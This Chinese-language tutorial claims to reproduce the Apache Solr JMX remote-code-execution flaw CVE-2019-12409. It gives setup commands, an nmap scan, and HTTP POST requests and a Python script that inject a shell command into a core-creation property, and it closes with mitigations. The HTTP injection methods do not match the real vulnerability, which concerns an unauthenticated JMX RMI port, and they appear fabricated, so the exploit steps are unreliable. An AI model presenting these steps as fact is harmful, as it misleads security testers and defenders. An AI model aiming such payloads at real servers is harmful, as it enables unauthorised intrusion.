插件窝 干货文章 如何进行Apache Solr JMX服务RCE漏洞复现

如何进行Apache Solr JMX服务RCE漏洞复现

Solr 漏洞 端口 JMX 749    来源:    2025-04-25

Apache Solr JMX服务RCE漏洞复现分析

漏洞概述

Apache Solr JMX服务远程代码执行漏洞(CVE-2019-12409)是一个高危漏洞,影响Solr 5.0.0至8.3.1版本。该漏洞允许攻击者通过JMX服务端口利用不安全的配置实现远程代码执行。

漏洞复现环境准备

所需工具

  1. 受影响版本的Apache Solr (5.0.0 - 8.3.1)
  2. Java环境
  3. 网络抓包工具(Wireshark/Burp Suite)
  4. 攻击脚本或手动构造请求的工具

环境搭建

  1. 下载并安装受影响版本的Solr

    wget https://archive.apache.org/dist/lucene/solr/8.3.1/solr-8.3.1.tgz
    tar -xzf solr-8.3.1.tgz
    cd solr-8.3.1
    bin/solr start -e cloud -noprompt
    
  2. 确认JMX服务已启用(默认端口通常为18983)

漏洞复现步骤

方法一:通过JMX端口直接利用

  1. 确认目标Solr服务器的JMX端口开放情况

    nmap -p 18983 <target_ip>
    
  2. 使用JConsole或JVisualVM连接JMX服务(无需认证)

  3. 通过MBean操作执行命令

    • 查找solr/jmx相关的MBean
    • 调用createCore或类似方法,注入恶意参数

方法二:通过HTTP API利用

  1. 发送恶意请求创建新core并注入命令

    POST /solr/admin/cores?action=CREATE&name=exploit&configSet=_default&property.XXX=";恶意命令;" HTTP/1.1
    Host: <target_ip>:8983
    
  2. 或者通过配置注入

    POST /solr/admin/cores?wt=json HTTP/1.1
    Host: <target_ip>:8983
    Content-Type: application/json
    
    {
     "create": {
       "name": "exploit",
       "configSet": "_default",
       "property.XXX": "\";恶意命令;\""
     }
    }
    

方法三:使用公开的漏洞利用脚本

  1. 下载并运行公开的漏洞利用脚本(需谨慎验证来源)

    # 示例伪代码
    import requests
    
    target = "http://<target_ip>:8983"
    cmd = "touch /tmp/pwned"
    
    payload = {
       'create': {
           'name': 'exploit',
           'configSet': '_default',
           'property.XXX': f'"; {cmd}; "'
       }
    }
    
    requests.post(f"{target}/solr/admin/cores?wt=json", json=payload)
    

验证漏洞利用成功

  1. 检查Solr日志中是否执行了命令
  2. 检查服务器上是否创建了预期文件或效果
  3. 使用ps aux查看Solr进程是否执行了额外命令

安全建议

  1. 升级到Solr 8.4.0或更高版本
  2. 禁用不必要的JMX服务
  3. 配置JMX认证和SSL加密
  4. 使用防火墙限制JMX端口的访问

免责声明

此文档仅供安全研究和授权测试使用。未经授权对他人系统进行测试是违法行为。请在法律允许范围内使用这些信息。